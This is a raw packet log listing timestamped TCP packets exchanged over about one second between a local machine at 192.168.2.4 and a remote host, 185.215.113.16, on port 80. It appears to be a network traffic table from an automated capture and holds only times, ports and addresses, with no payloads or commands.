Oct 31, 2024 05:06:36.271395922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271398067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271408081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271415949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271430016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271452904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271487951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271496058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271511078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271517992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271532059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271573067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271575928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271580935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271589041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271595955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271610975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271630049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271723986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271732092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271744013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271747112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271753073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271755934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271764994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271770000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271773100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271781921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271796942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271797895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271805048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271812916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271817923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271830082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271846056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271847963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271857977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271864891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271867037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271872997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271889925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271891117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271907091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271917105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271924973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271950006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271956921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271979094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271986961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271994114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272001982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272003889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272010088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272031069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272078991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272217989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272226095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272234917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272269964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272295952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272304058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272317886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272325993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272346020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272355080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272363901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272372007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272384882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272386074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272399902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272417068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272424936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272439957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272444963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272459030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272464037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272465944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272475958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272483110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272502899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272506952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272514105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272526979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272536993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272546053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272550106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272551060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272579908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272582054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272591114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272598982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272645950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272651911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272667885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272681952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272689104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272696972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272706032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272717953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272727013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272739887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272746086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272747993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272764921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272768021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272773027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272787094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272790909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272795916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272813082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272831917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272834063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272840023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272854090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272876978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272917986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272934914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272949934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272957087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272964954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272975922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.272980928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.272981882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273000956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273025036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273039103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273050070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273057938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273135900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273143053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273148060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273152113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273159981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273169041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273175955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273180962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273185968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273205996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273235083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273236990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273247004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273255110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273262024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273276091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273307085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273324966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273328066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273336887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273350954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273355961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273384094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273384094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273468018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273484945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273492098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273495913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273499966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273510933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273524046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273530006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273533106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273542881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273574114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273581028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273591042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273607016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273614883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273628950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273655891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273662090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273664951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273674011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273682117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273689985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273698092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273715019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273781061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273793936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273801088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273808002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273823977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273830891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273849964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273880005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273888111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273901939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.273905993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.273922920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274236917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274241924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274317026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274353981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274415016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274473906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274482012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274491072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274497032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274506092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274513960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274516106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274521112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274555922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274585009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274585962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274594069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274601936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274610996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.274630070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.274652004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.280534983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.291548014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.712165117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.717698097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001612902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001631975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001650095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001657963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001667976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001688957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001692057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001696110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001710892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001718044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001722097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001738071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001745939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001749039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001760006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001770020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001770973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001797915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001831055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001847982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001856089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001871109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001890898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001894951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001909971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001914978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001941919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.001956940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001966953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.001991987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002038002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002058983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002063036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002070904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002085924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002144098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002152920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002175093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002181053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002182961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002192020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002197981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002198935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002214909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002227068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002245903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002271891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002279997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002301931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002309084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002322912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002334118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002340078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002353907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002361059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002367973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002373934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002381086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002388000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002403021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002408028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002434015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002480984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002482891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002491951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002499104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002507925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002515078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002521992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002526045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002561092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002604008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002635956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002655029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002677917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002721071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002728939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002736092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002748966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002756119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002763033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002763033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002795935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002825022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002832890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002847910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002856970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002871990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002882957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002909899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002917051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002932072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.002933979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002943993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002952099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002959967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002965927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002981901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.002990007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003005981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003030062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003037930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003051996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003081083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003086090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003092051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003098011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003117085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003134966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003165007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003173113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003223896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003231049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003254890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003257036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003263950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003272057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003279924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003281116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003302097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003324986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003334045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003340960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.003407001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003417969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.003509998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004519939 CET	80	49744	185.215.113.16	192.168.2.4
